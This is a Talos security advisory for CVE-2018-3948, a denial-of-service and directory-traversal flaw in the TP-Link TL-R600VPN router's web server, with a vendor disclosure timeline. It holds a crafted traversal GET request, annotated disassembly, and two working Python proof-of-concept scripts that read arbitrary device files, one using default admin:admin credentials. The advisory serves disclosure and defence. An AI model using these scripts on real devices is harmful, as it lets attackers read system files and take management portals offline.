Talos Vulnerability Report

TALOS-2018-0617

TP-Link TL-R600VPN HTTP server denial-of-service vulnerability

November 19, 2018
CVE Number

CVE-2018-3948

Summary

An exploitable denial-of-service vulnerability exists in the URI-parsing functionality of the TP-Link TL-R600VPN HTTP server. A specially crafted URL can cause the server to stop responding to requests, resulting in downtime for the management portal. An attacker can send either an unauthenticated or authenticated web request to trigger this vulnerability.

Tested Versions

TP-Link TL-R600VPN HWv3 FRNv1.3.0 TP-Link TL-R600VPN HWv2 FRNv1.2.3

Product URLs

https://www.tp-link.com/us/products/details/cat-4909_TL-R600VPN.html

CVSSv3 Score

7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop')

Details

If a directory traversal is attempted on any of the vulnerable pages (help, images, frames, dynaform, localization) and the requested page is a directory instead of a file, the web server will enter an infinite loop, making the management portal unavailable.

An example malicious GET request is as follows. Notice that this request is to '/etc', not '/etc/' or '/etc/shadow':

GET /help/../../../../../../../../../../../../../../../../etc HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.1/userRpm/AccessCtrlAccessRulesRpm.htm
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 2

[Annotated Disassembly / Decompilation output]

LOAD:00426340 loc_426340:                              # CODE XREF: httpRpmFsA+240↓j
LOAD:00426340                 la      $t9, read
LOAD:00426344                 move    $a0, $s3                     # moves the file descriptor into arg 0
LOAD:00426348                 jalr    $t9 ; read                   # triggers a read call
LOAD:0042634C                 move    $a1, $s2                     # moves the filename into arg 1 (/../../../../../etc)
LOAD:00426350                 move    $a0, $s5
LOAD:00426354                 lw      $gp, 0x110+var_100($sp)
LOAD:00426358                 move    $a2, $v0
LOAD:0042635C                 move    $a1, $s2
LOAD:00426360                 addu    $s6, $v0
LOAD:00426364                 la      $t9, httpBlockPut
LOAD:00426368                 jalr    $t9 ; httpBlockPut           # function responsible for writing read data to the socket when possible
LOAD:0042636C                 move    $s0, $v0                     # stores the response code from httpBlockPut - 0x0 for success and 0xFFFFFFFF for failure
LOAD:00426370                 li      $v1, 0xFFFFFFFF
LOAD:00426374                 lw      $gp, 0x110+var_100($sp)
LOAD:00426378                 beq     $v0, $v1, loc_42639C
LOAD:0042637C                 subu    $a2, $s1, $s6
LOAD:00426380                 lw      $v1, 0x110+var_28($sp)
LOAD:00426384                 sltu    $v0, $a2, $v1
LOAD:00426388                 movz    $a2, $v1, $v0
LOAD:0042638C                 beqz    $a2, loc_42639C              # branches to the file close block if the read has finished
LOAD:00426390                 nop
LOAD:00426394                 bnez    $s0, loc_426340              # loops if the read has not yet finished
LOAD:00426398                 nop                                  # NOTE: when a directory or an infinite file is read this will loop indefinitely
LOAD:0042639C

Exploit proof of concept

The following proof of concepts can be used to view any readable file on the device by passing the absolute path as the second argument.

If a directory without the trailing slash is passed, the proof of concept will enter an infinite loop, causing a denial-of-service condition on the web server. When this DoS condition is triggered, only the HTTP server is affected. The other device services continue as normal.

Proof of concept for the unauthenticated case:

import requests
import sys

def main():
    if len(sys.argv) != 3:
        print ""
        print "Usage: python dir_traversal.py [ip_addr] [absolute_path]"
        print "Example: python dir_traversal.py 192.168.0.1 /etc"
        print ""
    else:
        ip_addr = sys.argv[1]
        custom_dir = sys.argv[2]
        uri="http://%s/help/../../../../../../../../../../../../../../../..%s" % (ip_addr, custom_dir)
        try:
            referer = "http://%s/Index.htm" % (ip_addr)
            headers = {'Referer':referer}
            r = requests.get(uri, headers=headers)
            print "\n\nResponse Code: %s\n\n" % (r.status_code)
            print r.text
        except Exception as msg:
            print "ERROR: %s" % (msg)

if __name__ == "__main__":
    main()

Proof of concept for the authenticated case:

import requests
import sys
import base64

def main():
    if len(sys.argv) != 3:
        print ""
        print "Usage: python dir_traversal.py [ip_addr] [absolute_path]"
        print "Example: python dir_traversal.py 192.168.0.1 /etc"
        print ""
    else:
        ip_addr = sys.argv[1]
        custom_dir = sys.argv[2]
        uri="http://%s/images/../../../../../../../../../../../../../../../..%s" % (ip_addr, custom_dir)
        try:
            auth = "Basic %s" % (base64.b64encode("admin:admin"))
            referer = "http://%s/userRpm/MenuRpm.htm" % (ip_addr)
            headers = {'Authorization': auth, 'Referer':referer}
            r = requests.get(uri, headers=headers)
            print "\n\nResponse Code: %s\n\n" % (r.status_code)
            print r.text
        except Exception as msg:
            print "ERROR: %s" % (msg)

if __name__ == "__main__":
    main()

Timeline

2018-06-28 - Vendor Disclosure
2018-10-09 - Vendor provided beta test
2018-10-11 - Patch tested and confirmed fix
2018-11-19 - Public Release

Credit

Discovered by Jared Rittle of Cisco Talos